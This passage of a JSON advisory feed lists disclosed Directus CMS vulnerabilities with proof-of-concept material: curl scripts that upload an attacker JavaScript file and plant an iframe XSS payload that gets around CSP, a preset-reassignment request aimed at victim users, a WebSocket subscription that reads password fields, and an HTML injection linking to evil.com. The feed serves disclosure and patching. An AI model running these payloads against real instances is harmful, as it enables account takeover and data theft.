accounts.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-02-19T17:46:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.4,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N","references":["https://github.com/directus/directus/security/advisories/GHSA-99vm-5v2h-h6r6","https://github.com/directus/directus/commit/a7ea67783b060d0d6fc964d71c2d4575d5eee4e2","https://nvd.nist.gov/vuln/detail/CVE-2025-27089","https://github.com/directus/directus/releases/tag/v11.1.2","https://github.com/advisories/GHSA-99vm-5v2h-h6r6"],"source_kind":"github","identifiers":["GHSA-99vm-5v2h-h6r6","CVE-2025-27089"],"repository_url":"https://github.com/directus/directus","blast_radius":0.0,"created_at":"2025-02-19T18:07:50.048Z","updated_at":"2026-11-06T02:08:19.147Z","epss_percentage":0.00238,"epss_percentile":0.147,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05OXZtLTV2MmgtaDZyNs4ABEoi","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05OXZtLTV2MmgtaDZyNs4ABEoi","packages":[{"ecosystem":"npm","package_name":"@directus/api","versions":[{"first_patched_version":"23.1.0","vulnerable_version_range":"\u003e= 22.0.0, \u003c 23.1.0"}],"purl":"pkg:npm/%40directus%2Fapi"},{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"11.1.2","vulnerable_version_range":"\u003e= 11.0.0, \u003c 11.1.2"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05OXZtLTV2MmgtaDZyNs4ABEoi/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05cXJtLTQ4cWYtcjJyd84ABDwn","url":"https://github.com/advisories/GHSA-9qrm-48qf-r2rw","title":"Directus has a DOM-Based cross-site scripting (XSS) via layout_options","description":"### Impact\nDirectus allows an authenticated attacker to save cross site scripting code to the database. This is possible because the application injects an attacker-controlled parameter that will be stored in the server and used by the client into an unsanitized DOM element. When chained with [CVE-2024-6534](https://github.com/directus/directus/security/advisories/GHSA-3fff-gqw3-vj86), it could result in account takeover.\n\n### PoC\nTo exploit this vulnerability, we need to do the following steps using a non-administrative, default role attacker account.\n\n1. Upload the following JavaScript file.\n\nUsing the upload functionality at `POST /files`. This PoC will show an alert message.\n\n```js\nexport TARGET_HOST=\"http://localhost:8055\"\nexport ATTACKER_EMAIL=\"malicious@malicious.com\"\nexport ATTACKER_PASSWORD=\"123456\"\nroot_dir=$(dirname $0)\nmkdir \"${root_dir}/static\"\n\ncurl -s -k -o /dev/null -w \"%{http_code}\" -X 'POST' \"${TARGET_HOST}/auth/login\" \\\n    -c \"${root_dir}/static/attacker_directus_session_token\" \\\n    -H 'Content-Type: application/json' \\\n    -d \"{\\\"email\\\":\\\"${ATTACKER_EMAIL}\\\",\\\"password\\\":\\\"${ATTACKER_PASSWORD}\\\",\\\"mode\\\":\\\"session\\\"}\"\n\nid_url_file=$(echo \"alert('Successful DOM-based XSS')\" |\n  curl -s -k -X 'POST' \"${TARGET_HOST}/files\" \\\n    -b \"${root_dir}/static/attacker_directus_session_token\" \\\n    -F \"file=@-;type=application/x-javascript;filename=poc.js\" | jq -r \".data.id\")\n```\n\n2. Create a preset for a collection and store the preset ID.\n\nOr use a preset already created from GET /presets. The following example uses the direct_users preset.\n\n```\nattacker_user_id=$(curl -s -k \"${TARGET_HOST}/users/me\" \\ -b \"${root_dir}/static/attacker_directus_session_token\" | jq -r \".data.id\") curl -i -s -k -X 'POST' \"${TARGET_HOST}/presets\" \\ -H 'Content-Type: application/json' \\ -b \"${root_dir}/static/attacker_directus_session_token\" \\ --data-binary \"{\\\"layout\\\":\\\"cards\\\",\\\"bookmark\\\":null,\\\"role\\\":null,\\\"user\\\":\\\"${attacker_user_id}\\\",\\\"search\\\":null,\\\"filter\\\":null,\\\"layout_query\\\":{\\\"cards\\\":{\\\"sort\\\":[\\\"email\\\"]}},\\\"layout_options\\\":{\\\"cards\\\":{\\\"icon\\\":\\\"account_circle\\\",\\\"title\\\":\\\"\u003ciframe srcdoc=\\\\\\\"\u003cscript src='http://localhost:8055/assets/${id_url_file}'\u003e \u003c/script\u003e\\\\\\\"\u003e\\\",\\\"subtitle\\\":\\\"{{ email }}\\\",\\\"size\\\":4}},\\\"refresh_interval\\\":null,\\\"icon\\\":\\\"bookmark\\\",\\\"color\\\":null,\\\"collection\\\":\\\"directus_users\\\"}\"\n```\n\nWhen the user visits the view that uses the directus_users preset, the JavaScript file will be executed.\n\nNotes:\n\nNeed to use an iframe to execute the malicious JavaScript file to bypass the CSP policies. The payload structure is `\u003ciframe srcdoc=\\\"\u003cscript src='URL_MALICIOUS_FILE'\u003e \u003c/script\u003e\\\"\u003e`.\n\nWe can target any collection that uses the vulnerable template structure that renders the layout option section.\n\nIn this PoC, the target is the same user who sends the payload, but if the attacking user has permission to modify or create presets for other users or even if he does not have permissions but can chain with CVE-2024-6534, he can achieve an account takeover.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2025-01-23T22:36:50.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":3.4,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:N/I:L/A:N","references":["https://github.com/directus/directus/security/advisories/GHSA-9qrm-48qf-r2rw","https://github.com/advisories/GHSA-9qrm-48qf-r2rw"],"source_kind":"github","identifiers":["GHSA-9qrm-48qf-r2rw","CVE-2024-6533"],"repository_url":"https://github.com/directus/directus","blast_radius":0.0,"created_at":"2025-01-23T23:08:26.852Z","updated_at":"2026-11-06T02:08:24.488Z","epss_percentage":0.00383,"epss_percentile":0.32023,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05cXJtLTQ4cWYtcjJyd84ABDwn","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05cXJtLTQ4cWYtcjJyd84ABDwn","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"11.3.3","vulnerable_version_range":"\u003c 11.3.3"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05cXJtLTQ4cWYtcjJyd84ABDwn/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wbWY0LXY4MzgtMjloZ84ABDwm","url":"https://github.com/advisories/GHSA-pmf4-v838-29hg","title":"Directus allows privilege escalation using Share feature","description":"### Summary\nWhen sharing an item, user can specify an arbitrary role. It allows user to use a higher-privileged role to see fields that otherwise the user should not be able to see.\n\n### Details\nSpecifying `role` on share should be available only for admins. The current flow has a security flaw.\n\nEach other role should allow to share only in the context of the same role. As there is no role hierarchy in Directus, it is impossible to tell which role is _higher_ or _lower_, so only admins should be able to specify the role for share.\n\nOptionally, instead of specifying a role, shareer* should be able to specify which fields (limited to fields shareer sees) are available on shared item. Similarily to import.\n\n*_shareer_ - a person that creates a share link to item\n\n### PoC\n1. Create a collection with a secret field. \n2. Create role A that sees the secret field\n3. Create role B that does not see the secret field, but can use share feature.\n4. Create item with secret field filled. \n5. Use account with role B to share the object as role A and gain unauthorized access to secret value.\n\nHere's video example: https://www.youtube.com/watch?v=DbV4IxbWzN4\nI had to upload it to YouTube, because GitHub allows only 10MB videos.\n\n### Impact\nImpacted are instances that use the share feature and have specific roles hierarchy and fields that are not visible for certain roles.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-01-23T22:35:52.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.0,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N","references":["https://github.com/directus/directus/security/advisories/GHSA-pmf4-v838-29hg","https://nvd.nist.gov/vuln/detail/CVE-2025-24353","https://github.com/directus/directus/pull/23716","https://github.com/directus/directus/commit/e288a43a79613dada905da683f4919c6965ac804","https://github.com/directus/directus/releases/tag/v11.2.0","https://www.youtube.com/watch?v=DbV4IxbWzN4","https://github.com/advisories/GHSA-pmf4-v838-29hg"],"source_kind":"github","identifiers":["GHSA-pmf4-v838-29hg","CVE-2025-24353"],"repository_url":"https://github.com/directus/directus","blast_radius":0.0,"created_at":"2025-01-23T23:08:26.899Z","updated_at":"2026-11-06T14:08:13.962Z","epss_percentage":0.00396,"epss_percentile":0.3384,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wbWY0LXY4MzgtMjloZ84ABDwm","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wbWY0LXY4MzgtMjloZ84ABDwm","packages":[{"ecosystem":"npm","package_name":"@directus/app","versions":[{"first_patched_version":"13.3.1","vulnerable_version_range":"\u003c 13.3.1"}],"purl":"pkg:npm/%40directus%2Fapp"},{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"11.2.0","vulnerable_version_range":"\u003c 11.2.0"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wbWY0LXY4MzgtMjloZ84ABDwm/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04NDlyLXFyd2otOHJ2NM4ABCND","url":"https://github.com/advisories/GHSA-849r-qrwj-8rv4","title":"Directus allows unauthenticated access to WebSocket events and operations","description":"### Summary\nWhen setting `WEBSOCKETS_GRAPHQL_AUTH` or `WEBSOCKETS_REST_AUTH` to \"public\", an unauthenticated user is able to do any of the supported operations (CRUD, subscriptions) with full admin privileges.\n\n### Details\nAccountability for unauthenticated WebSocket requests is set to null, which used to be \"public permissions\" until the Permissions Policy update which now defaults that to system/admin level access. So instead of null we need to make use of `createDefaultAccountability()` to ensure public permissions are used for unauthenticated users.\n\n### PoC\n1. Start directus with\n```bash\nWEBSOCKETS_ENABLED=true\nWEBSOCKETS_GRAPHQL_AUTH=public\nWEBSOCKETS_REST_AUTH=public\n```\n\n2. Subscribe using GQL or REST or do any CRUD operation on a user created collection (system tables are not reachable with crud)\n```gql\nsubscription {\n    directus_users_mutated {\n        key\n        event\n        data {\n            id\n            email\n            first_name\n            last_name\n            password\n        }\n    }\n}\n```\nor\n```json\n{\n   \"type\": \"items\",\n   \"action\": \"read\",\n   \"collection\": \"your_collection_name\"\n}\n```\n3a. Open up the data studio as any user. Observe how the subscriber gets notified on each page navigation (because the users `last_page` gets updated, the `password` fields is properly redacted here)\n\n3b. Observe receiving all available items from the `your_collection_name` collection.\n\n### Impact\n\nThis impacts any Directus instance that has either `WEBSOCKETS_GRAPHQL_AUTH` or `WEBSOCKETS_REST_AUTH` set to `public` allowing unauthenticated users to subscribe for changes on any collection or do REST CRUD operations on user defined collections ignoring permissions.\n\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-12-09T20:40:54.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/directus/directus/security/advisories/GHSA-849r-qrwj-8rv4","https://github.com/directus/directus/commit/ce0397d16cf767b5293cd57f626c5349b5732a21","https://nvd.nist.gov/vuln/detail/CVE-2024-54151","https://github.com/advisories/GHSA-849r-qrwj-8rv4"],"source_kind":"github","identifiers":["GHSA-849r-qrwj-8rv4","CVE-2024-54151"],"repository_url":"https://github.com/directus/directus","blast_radius":0.0,"created_at":"2024-12-09T21:07:49.318Z","updated_at":"2026-11-06T02:08:34.571Z","epss_percentage":0.00695,"epss_percentile":0.52712,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04NDlyLXFyd2otOHJ2NM4ABCND","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04NDlyLXFyd2otOHJ2NM4ABCND","packages":[{"ecosystem":"npm","package_name":"@directus/api","versions":[{"first_patched_version":"23.2.0","vulnerable_version_range":"\u003e= 22.2.0, \u003c 23.2.0"}],"purl":"pkg:npm/%40directus%2Fapi"},{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"11.3.0","vulnerable_version_range":"\u003e= 11.0.0, \u003c 11.3.0"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04NDlyLXFyd2otOHJ2NM4ABCND/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yNnd4LTYyN3YtZ2gyZs4ABCFr","url":"https://github.com/advisories/GHSA-r6wx-627v-gh2f","title":"Directus has an HTML Injection in Comment","description":"### Summary\nThe Comment feature has implemented a filter to prevent users from adding restricted characters, such as HTML tags. However, this filter operates on the client-side, which can be bypassed, making the application vulnerable to HTML Injection.\n\n### Details\nThe Comment feature implements a character filter on the client-side, this can be bypassed by directly sending a request to the endpoint.\n\nExample Request:\n\n```\nPATCH /activity/comment/3 HTTP/2\nHost: directus.local\n\n{\n  \"comment\": \"\u003ch1\u003eTEST \u003cp style=\\\"color:red\\\"\u003eHTML INJECTION\u003c/p\u003e \u003ca href=\\\"//evil.com\\\"\u003eTest Link\u003c/a\u003e\u003c/h1\u003e\"\n}\n```\n\nExample Response:\n\n```json\n{\n  \"data\": {\n    \"id\": 3,\n    \"action\": \"comment\",\n    \"user\": \"288fdccc-399a-40a1-ac63-811bf62e6a18\",\n    \"timestamp\": \"2023-09-06T02:23:40.740Z\",\n    \"ip\": \"10.42.0.1\",\n    \"user_agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\",\n    \"collection\": \"directus_files\",\n    \"item\": \"7247dda1-c386-4e7a-8121-7e9c1a42c15a\",\n    \"comment\": \"\u003ch1\u003eTEST \u003cp style=\\\"color:red\\\"\u003eHTML INJECTION\u003c/p\u003e \u003ca href=\\\"//evil.com\\\"\u003eTest Link\u003c/a\u003e\u003c/h1\u003e\",\n    \"origin\": \"https://directus.local\",\n    \"revisions\": []\n  }\n}\n```\n\nExample Result:\n\n![Screenshot 2023-09-06 094536](https://user-images.githubusercontent.com/61263002/265876100-12e068fe-3d53-41b4-bfcb-458c2bc2a638.png)\n\n## Impact\n\nWith the introduction of session cookies this issue has become exploitable as a malicious script is now able to do authenticated actions on the current users behalf.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2024-12-05T22:37:32.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.7,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N","references":["https://github.com/directus/directus/security/advisories/GHSA-r6wx-627v-gh2f","https://nvd.nist.gov/vuln/detail/CVE-2024-54128","https://github.com/directus/directus/commit/4487fb18d5cb09e071b111d2dc0c9d6bcb437633","https://github.com/directus/directus/commit/c89dbb233fbad2fd0cf41eb99d50c6de4e84195d","https://github.com/advisories/GHSA-r6wx-627v-gh2f"],"source_kind":"github","identifiers":["GHSA-r6wx-627v-gh2f","CVE-2024-54128"],"repository_url":"https://github.com/directus/directus","blast_radius":0.0,"created_at":"2024-12-05T23:09:19.921Z","updated_at":"2026-11-06T02:08:34.576Z","epss_percentage":0.00344,"epss_percentile":0.27662,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yNnd4LTYyN3YtZ2gyZs4ABCFr","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yNnd4LTYyN3YtZ2gyZs4ABCFr","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"11.2.2","vulnerable_version_range":"\u003e= 11.0.0-rc.1, \u003c 11.2.2"},{"first_patched_version":"10.13.4","vulnerable_version_range":"\u003e= 10.10.0, \u003c 10.13.4"}],"purl":"pkg:npm/directus"},{"ecosystem":"npm","package_name":"@directus/app","versions":[{"first_patched_version":"13.3.1","vulnerable_version_range":"\u003e= 11.0.0, \u003c 13.3.1"}],"purl":"pkg:npm/%40directus%2Fapp"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yNnd4LTYyN3YtZ2gyZs4ABCFr/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02OGc4LWMyNzUteGYybc4AA_rG","url":"https://github.com/advisories/GHSA-68g8-c275-xf2m","title":"Directus vulnerable to SSRF Loopback IP filter bypass","description":"### Impact\nIf you're relying on blocking access to localhost using the default `0.0.0.0` filter this can be bypassed using other registered loopback devices (like `127.0.0.2` - `127.127.127.127`)\n\n### Workaround\nYou can block this bypass by manually adding the `127.0.0.0/8` CIDR range which will block access to any `127.X.X.X` ip instead of just `127.0.0.1`.\n\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2024-09-18T17:42:05.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N","references":["https://github.com/directus/directus/security/advisories/GHSA-68g8-c275-xf2m","https://github.com/directus/directus/commit/8cbf943b65fd4a763d09a5fdbba8996b1e7797ff","https://github.com/directus/directus/commit/c1f3ccc681595038d094ce110ddeee38cb38f431","https://nvd.nist.gov/vuln/detail/CVE-2024-46990","https://github.com/directus/directus/commit/4aace0bbe57232e38cd6a287ee475293e46dc91b","https://github.com/directus/directus/commit/769fa22797bff5a9231599883b391e013f122e52","https://github.com/advisories/GHSA-68g8-c275-xf2m"],"source_kind":"github","identifiers":["GHSA-68g8-c275-xf2m","CVE-2024-46990"],"repository_url":"https://github.com/directus/directus","blast_radius":10.921698553874142,"created_at":"2024-09-18T18:06:03.377Z","updated_at":"2026-11-06T02:09:04.881Z","epss_percentage":0.00467,"epss_percentile":0.40565,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02OGc4LWMyNzUteGYybc4AA_rG","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02OGc4LWMyNzUteGYybc4AA_rG","packages":[{"ecosystem":"npm","package_name":"@directus/api","versions":[{"first_patched_version":"22.1.1","vulnerable_version_range":"\u003e= 22.0.0, \u003c 22.1.1"},{"first_patched_version":"21.0.0","vulnerable_version_range":"\u003c 21.0.0"}],"purl":"pkg:npm/%40directus%2Fapi"},{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"11.1.0","vulnerable_version_range":"\u003e= 11.0.0, \u003c 11.1.0"},{"first_patched_version":"10.13.3","vulnerable_version_range":"\u003c 10.13.3"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02OGc4LWMyNzUteGYybc4AA_rG/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jZmY4LXg3anYtNGZtOM4AA_cb","url":"https://github.com/advisories/GHSA-cff8-x7jv-4fm8","title":"Session is cached for OpenID and OAuth2 if `redirect` is not used","description":"### Summary\nUnauthenticated user can access credentials of last authenticated user via OpenID or OAuth2 where the authentication URL did not include `redirect` query string.\n\nFor example:\n- Project is configured with OpenID or OAuth2\n- Project is configured with cache enabled\n- User tries to login via SSO link, but without `redirect` query string\n- After successful login, credentials are cached\n- If an unauthenticated user tries to login via SSO link, it will return the credentials of the other last user\n\nThe SSO link is something like `https://directus.example.com/auth/login/openid/callback`, where `openid` is the name of the OpenID provider configured in Directus\n\n### Details\nThis happens because on that endpoint for both OpenId and Oauth2 Directus is using the `respond` middleware, which by default will try to cache GET requests that met some conditions. Although, those conditions do not include this scenario, when an unauthenticated request returns user credentials.\nFor OpenID, this can be seen here:\nhttps://github.com/directus/directus/blob/main/api/src/auth/drivers/openid.ts#L453-L459\nAnd for OAuth2 can be seen here\nhttps://github.com/directus/directus/blob/main/api/src/auth/drivers/oauth2.ts#L422-L428\n\n### PoC\n- Create a new Directus project\n- Set `CACHE_ENABLED` to true\n- Set `CACHE_STORE` to `redis` for reliable results (if using memory with multiple nodes, it may only happen sometimes, due to cache being different for different nodes)\n- Configure `REDIS` with redis string or redis host, port, user, etc.\n- Set `AUTH_PROVIDERS` to `openid`\n- Set `PUBLIC_URL` to the the main URL of your project . \tFor example, `PUBLIC_URL: http://localhost:8055`\n- Configure `AUTH_OPENID_CLIENT_ID`, `AUTH_OPENID_CLIENT_SECRET`, `AUTH_OPENID_ISSUER_URL` with proper OpenID configurations\n- Be sure that on OpenID external app you have configured Redirect URI to `http://localhost:8055/auth/login/openid/callback`\n- Run Directus\n- Open the SSO link like `http://localhost:8055/auth/login/openid/callback`\n- Do the authentication on the OpenID external webpage\n- Verify that it you got redirected to a page with a JSON including `access_token` property\n- Be sure all anonymous mode windows are closed\n- Open an anonymous window and go to the SSO Link `http://localhost:8055/auth/login/openid/callback` and see you have the same credentials, even though you don't have any session because you are in anonymous mode\n\n### Impact\nAll projects using OpenID or OAuth 2, that does not include `redirect` query string on loggin in users.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-09-10T19:43:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","references":["https://github.com/directus/directus/security/advisories/GHSA-cff8-x7jv-4fm8","https://github.com/directus/directus/commit/4aace0bbe57232e38cd6a287ee475293e46dc91b","https://github.com/directus/directus/commit/769fa22797bff5a9231599883b391e013f122e52","https://github.com/directus/directus/blob/main/api/src/auth/drivers/oauth2.ts#L422-L428","https://github.com/directus/directus/blob/main/api/src/auth/drivers/openid.ts#L453-L459","https://nvd.nist.gov/vuln/detail/CVE-2024-45596","https://github.com/advisories/GHSA-cff8-x7jv-4fm8"],"source_kind":"github","identifiers":["GHSA-cff8-x7jv-4fm8","CVE-2024-45596"],"repository_url":"https://github.com/directus/directus","blast_radius":17.10379207493498,"created_at":"2024-09-10T20:06:11.172Z","updated_at":"2026-11-06T02:09:15.144Z","epss_percentage":0.00655,"epss_percentile":0.51509,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jZmY4LXg3anYtNGZtOM4AA_cb","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jZmY4LXg3anYtNGZtOM4AA_cb","packages":[{"ecosystem":"npm","package_name":"@directus/api","versions":[{"first_patched_version":"22.2.0","vulnerable_version_range":"\u003e= 22.0.0, \u003c 22.2.0"},{"first_patched_version":"21.0.1","vulnerable_version_range":"\u003c 21.0.1"}],"purl":"pkg:npm/%40directus%2Fapi"},{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"11.1.0","vulnerable_version_range":"\u003e= 11.0.0-rc.1, \u003c 11.1.0"},{"first_patched_version":"10.13.3","vulnerable_version_range":"\u003c 10.13.3"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jZmY4LXg3anYtNGZtOM4AA_cb/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zZmZmLWdxdzMtdmo4Ns4AA--o","url":"https://github.com/advisories/GHSA-3fff-gqw3-vj86","title":"Directus has an insecure object reference via PATH presets","description":"### Impact\nDirectus v10.13.0 allows an authenticated external attacker to modify presets created by the same user to assign them to another user. This is possible because the application only validates the user parameter in the `POST /presets` request but not in the PATCH request. When chained with [CVE-2024-6533](https://github.com/directus/directus/security/advisories/GHSA-9qrm-48qf-r2rw), it could result in account takeover.\n\nThis vulnerability occurs because the application only validates the user parameter in the `POST /presets` request but not in the PATCH request.\n\n### PoC\nTo exploit this vulnerability, we need to do the follow steps using a non-administrative, default role attacker account.\n\n1. Create a preset for a collection.\n\nStore the preset id, or use it if it already exists from `GET /presets`. The following example will use the direct_users preset.\n\n```bash\nTARGET_HOST=\"http://localhost:8055\" ATTACKER_EMAIL=\"malicious@malicious.com\" ATTACKER_PASSWORD=\"123456\" root_dir=$(dirname $0) mkdir \"${root_dir}/static\" curl -s -k -o /dev/null -w \"%{http_code}\" -X 'POST' \"${TARGET_HOST}/auth/login\" \\ -c \"${root_dir}/static/attacker_directus_session_token\" \\ -H 'Content-Type: application/json' \\ -d \"{\\\"email\\\":\\\"${ATTACKER_EMAIL}\\\",\\\"password\\\":\\\"${ATTACKER_PASSWORD}\\\",\\\"mode\\\":\\\"session\\\"}\" attacker_user_id=$(curl -s -k \"${TARGET_HOST}/users/me\" \\ -b \"${root_dir}/static/attacker_directus_session_token\" | jq -r \".data.id\") # Store all user's id curl -s -k \"${TARGET_HOST}/users\" \\ -b \"${root_dir}/static/attacker_directus_session_token\" | jq -r \".data[] | select(.id != \\\"${attacker_user_id}\\\")\" \u003e \"${root_dir}/static/users.json\"\n\n# Choose the victim user id from the previous request\nvictim_user_id=\"4f079119-2478-48c4-bd3a-30fa80c5f265\"\nusers_preset_id=$(curl -s -k -X 'POST' \"${TARGET_HOST}/presets\" \\\n  -H 'Content-Type: application/json' \\\n  -b \"${root_dir}/static/attacker_directus_session_token\" \\\n  --data-binary \"{\\\"layout\\\":\\\"cards\\\",\\\"bookmark\\\":null,\\\"role\\\":null,\\\"user\\\":\\\"${attacker_user_id}\\\",\\\"search\\\":null,\\\"filter\\\":null,\\\"layout_query\\\":{\\\"cards\\\":{\\\"sort\\\":[\\\"email\\\"]}},\\\"layout_options\\\":{\\\"cards\\\":{\\\"icon\\\":\\\"account_circle\\\",\\\"title\\\":\\\"{{tittle}}\\\",\\\"subtitle\\\":\\\"{{ email }}\\\",\\\"size\\\":4}},\\\"refresh_interval\\\":null,\\\"icon\\\":\\\"bookmark\\\",\\\"color\\\":null,\\\"collection\\\":\\\"directus_users\\\"}\"  | jq -r '.data.id')\n```\n\n2. Modify the presets via `PATCH /presets/{id}`.\n\nWith the malicious configuration and the user ID to which you will assign the preset configuration. The user ID can be obtained from `GET /users`. The following example modifies the title parameter.\n\n```bash\ncurl -i -s -k -X 'PATCH' \"${TARGET_HOST}/presets/${users_preset_id}\" \\\n    -H 'Content-Type: application/json' \\\n    -b \"${root_dir}/static/attacker_directus_session_token\" \\\n    --data-binary \"{\\\"layout\\\":\\\"cards\\\",\\\"bookmark\\\":null,\\\"role\\\":null,\\\"user\\\":\\\"${victim_user_id}\\\",\\\"search\\\":null,\\\"filter\\\":null,\\\"layout_query\\\":{\\\"cards\\\":{\\\"sort\\\":[\\\"email\\\"]}},\\\"layout_options\\\":{\\\"cards\\\":{\\\"icon\\\":\\\"account_circle\\\",\\\"title\\\":\\\"PoC Assign another users presets\\\",\\\"subtitle\\\":\\\"fakeemail@fake.com\\\",\\\"size\\\":4}},\\\"refresh_interval\\\":null,\\\"icon\\\":\\\"bookmark\\\",\\\"color\\\":null,\\\"collection\\\":\\\"directus_users\\\"}\"\n```\n\nNotes:\n\nEach new preset to a specific collection will have an integer consecutive id independent of the user who created it.\n\nThe user is the user id of the victim. The server will not validate that we assign a new user to a preset we own.\n\nThe app will use the first id preset with the lowest value it finds for a specific user and collection. If we control a preset with an id lower than the current preset id to the same collection of the victim user, we can attack that victim user, or if the victim has not yet defined a preset for that collection, then the preset id could be any value we control. Otherwise, the attacker user must have permission to modify or create the victim presets.\n\nWhen the victim visits the views of the modified presets, it will be rendered with the new configuration applied.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2024-08-27T19:54:29.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N","references":["https://github.com/directus/directus/security/advisories/GHSA-3fff-gqw3-vj86","https://nvd.nist.gov/vuln/detail/CVE-2024-6534","https://directus.io","https://fluidattacks.com/advisories/capaldi","https://github.com/advisories/GHSA-3fff-gqw3-vj86"],"source_kind":"github","identifiers":["GHSA-3fff-gqw3-vj86","CVE-2024-6534"],"repository_url":"https://github.com/directus/directus","blast_radius":0.0,"created_at":"2024-08-27T20:05:28.180Z","updated_at":"2026-11-06T02:09:24.775Z","epss_percentage":0.00329,"epss_percentile":0.25821,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zZmZmLWdxdzMtdmo4Ns4AA--o","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zZmZmLWdxdzMtdmo4Ns4AA--o","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"10.13.2","vulnerable_version_range":"\u003c= 10.13.1"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zZmZmLWdxdzMtdmo4Ns4AA--o/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xODN2LWhxM2otNHBxM84AA-rb","url":"https://github.com/advisories/GHSA-q83v-hq3j-4pq3","title":"Duplicate Advisory: Improper access control in Directus","description":"## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-3fff-gqw3-vj86. This link is maintained to preserve external references.\n\n## Original Description\nDirectus v10.13.0 allows an authenticated external attacker to modify presets created by the same user to assign them to another user. This is possible because the application only validates the user parameter in the 'POST /presets' request but not in the PATCH request. When chained with CVE-2024-6533, it could result in account 